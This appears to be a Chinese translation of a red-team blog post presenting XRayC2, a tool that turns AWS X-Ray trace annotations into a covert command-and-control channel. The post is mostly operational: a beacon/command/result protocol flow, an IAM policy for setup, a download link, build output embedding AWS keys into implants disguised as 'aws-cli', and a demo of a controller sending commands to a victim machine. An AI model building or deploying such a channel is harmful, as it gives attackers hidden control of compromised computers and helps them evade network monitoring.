云端幽灵:将AWS X-Ray武器化为C2隐蔽通道
攻击者利用AWS X-Ray服务创建隐蔽双向C2通道,通过合法云追踪基础设施实现命令控制,避免传统C2架构的检测痕迹。该技术利用X-Ray注释功能存储数据,并通过API接口实现通信,具备隐蔽性和高融合性。 2025-10-5 05:6:27 Author: www.freebuf.com(查看原文) 阅读量:101 收藏

攻击者可将AWS X-Ray改造为隐蔽双向C2通道,滥用合法云追踪基础设施实施命令控制

技术背景

在开始之前,如果您尚未阅读我关于MeetC2的日志文章,建议先行查阅。数月来,我在红队行动中持续使用MeetC2工具,基于社区反馈,现计划发布新工具包XRayC2。

我始终热衷于研究突破传统网络防御的初始访问技术。本次我们利用AWS X-Ray(亚马逊分布式应用追踪服务)建立隐蔽通信通道,该技术通过合法云监控基础设施实现双向C2通信。

传统C2架构依赖攻击者控制服务器与受害主机间的网络连接,这种方式会留下诸多可检测痕迹,包括可疑域名、未知IP、异常网络模式及SSL证书异常等。

通信流程

攻击域名:xray.[region].amazonaws.com

AWS X-Ray本用于帮助开发者通过收集追踪数据理解应用性能。但其注释功能可存储任意键值数据,且服务提供读写这些数据的API接口。

阶段一:植入信标(建立存在)

受害系统          X-Ray服务        控制端
   │                 │              │
   │ PUT /TraceSegments       │              │
   │ {               │              │
   │  trace_id: "1-67a2b...",   │              │
   │  annotations: {        │              │
   │   service_type: "health_check" ◄─── 信标标记    │
   │   instance_id: "a3f7b2c8"  ◄─── 唯一植入ID   │
   │   platform: "darwin"     ◄─── 操作系统信息     │
   │  }              │              │
   │ }               │              │
   │─────────────────────────────────►              │
   │                 │ GET /TraceSummaries   │
   │                 │ (轮询新信标)  │
   │                 ◄───────────────────────────┤
   │                 │              │
   │                 │ 返回信标追踪数据  │
   │                 ├──────────────────────────►│
   │                 │              │
   │                 │      [+] 新植入体:a3f7b2c8

阶段二:命令投递(控制端→植入体)

控制端           X-Ray服务        受害系统
   │                 │              │
   │ xray-c2> cmd whoami      │              │
   │                 │              │
   │ PUT /TraceSegments       │              │
   │ {               │              │
   │  trace_id: "1-67a2c...",   │              │
   │  annotations: {        │              │
   │   config_a3f7b2c8:      │              │
   │    base64(时间戳:whoami) ◄─── 编码命令    │
   │  }              │              │
   │ }               │              │
   ├─────────────────────────────────►              │
   │                 │              │
   │                 │ GET /TraceSummaries   │
   │                 │ (植入体轮询)     │
   │                 ◄───────────────────────────┤
   │                 │              │
   │                 │ 返回含配置的追踪数据   │
   │                 ├──────────────────────────►│
   │                 │              │
   │                 │        [解码:"whoami"]
   │                 │        [执行命令]

阶段三:结果回传(植入体→控制端)

受害系统          X-Ray服务        控制端
   │                 │              │
   │ [命令执行:"zero"]   │              │
   │                 │              │
   │ PUT /TraceSegments       │              │
   │ {               │              │
   │  trace_id: "1-67a2d...",   │              │
   │  annotations: {        │              │
   │   instance_id: "a3f7b2c8"  │              │
   │   execution_result:     │              │
   │    base64("zero")      ◄─── 编码输出     │
   │  }              │              │
   │ }               │              │
   │─────────────────────────────────►              │
   │                 │              │
   │                 │ GET /TraceSummaries   │
   │                 │ (轮询响应)   │
   │                 ◄───────────────────────────┤
   │                 │              │
   │                 │ 返回结果数据  │
   │                 ├──────────────────────────►│
   │                 │              │
   │                 │     [+] 来自a3f7b2c8的响应:
   │                 │     zero

信标随机间隔为30-60秒。植入体需手动实现自定义AWS SigV4认证,所有API请求必须使用访问密钥和密钥通过_HMAC-SHA256_签名,遵循亚马逊特定规范请求格式,从而生成与常规网络日志融为一体的合法AWS API流量。

AWS配置指南

  1. 使用测试用AWS租户
  2. 登录后进入IAM控制台
  3. 创建名为**XRay**的用户
  4. 附加**AWSXRayDaemonWriteAccess**权限策略
  5. 创建包含以下JSON的自定义策略并提交:
{  
  "Version": "2012-10-17",  
  "Statement": [  
    {  
      "Effect": "Allow",  
      "Action": [  
        "xray:PutTraceSegments",  
        "xray:GetTraceSummaries",  
        "xray:BatchGetTraces"  
      ],  
      "Resource": "*"  
    }  
  ]  
}

工具使用说明

下载XRayC2:https://github.com/RootUp/XRayC2

构建独立植入体

bash-3.2$ ./build_standalone.sh   
=====================================  
 X-Ray C2独立构建器  
 @RandomDhiraj  
=====================================  
  
输入要嵌入植入体的AWS凭证:  
AWS访问密钥ID:[输入密钥]  
AWS秘密访问密钥:[输入密钥]  
  
[*] 构建macOS植入体(零依赖)...  
[+] 生成:aws-cli (5.8M)  
  
[*] 构建Windows植入体(零依赖)...  
[+] 生成:aws-cli.exe (5.9M)  
  
[*] 清理中...  
  
=====================================  
独立构建完成!  
  
零依赖植入体已就绪:  
 • aws-cli (macOS/Linux)  
 • aws-cli.exe (Windows)  
  
双击即可运行!  
=====================================  

启动控制器

bash-3.2$ export AWS_ACCESS_KEY_ID="[XRay用户密钥]"  
bash-3.2$ export AWS_SECRET_ACCESS_KEY="[XRay用户密钥]"  
bash-3.2$ python3.10 controller.py   
[+] AWS账户:691455350179  
[+] 区域:eu-west-1  
  
┌─────────────────────────────────────────────────────────────┐  
│          X-Ray C2控制器           │  
└─────────────────────────────────────────────────────────────┘  
  
可用命令:  
 list       - 列出活跃植入体  
 use <id>     - 选择植入体  
 cmd <命令>   - 向选定植入体发送命令  
 info <id>     - 显示植入体详情  
 clear       - 清屏  
 exit / quit    - 退出控制器  
  
xray-c2 (none)> list  
[-] 无活跃植入体

实战演示

在受害机器运行aws-clientaws-client.exe后,控制器将收到回调:

[+] 新植入体连接:1e055763 (darwin)  
xray-c2 (none)> list  
  
[+] 活跃植入体:  
----------------------------------------------------------------------  
ID:1e055763  
 状态:活跃(3秒前最后一次信标)  
 首次出现:11:04:34  
 最后出现:11:04:34  
 信标次数:1  
 操作系统:darwin  
----------------------------------------------------------------------  
xray-c2 (none)> use 1e055763  
[+] 已选择:1e055763  
xray-c2 (1e055763)> cmd hostname  
[*] 向1e055763发送命令:hostname  
[+] 命令已发送(植入体将在下次信标时接收)  
xray-c2 (1e055763)>   
[+] 来自1e055763的响应:  
Dhirajs-MacBook-Pro-2.local  

参考来源:

Ghost in the Cloud: Weaponizing AWS X-Ray for Command & Control


文章来源: https://www.freebuf.com/articles/451579.html
如有侵权请联系:admin#unsafe.sh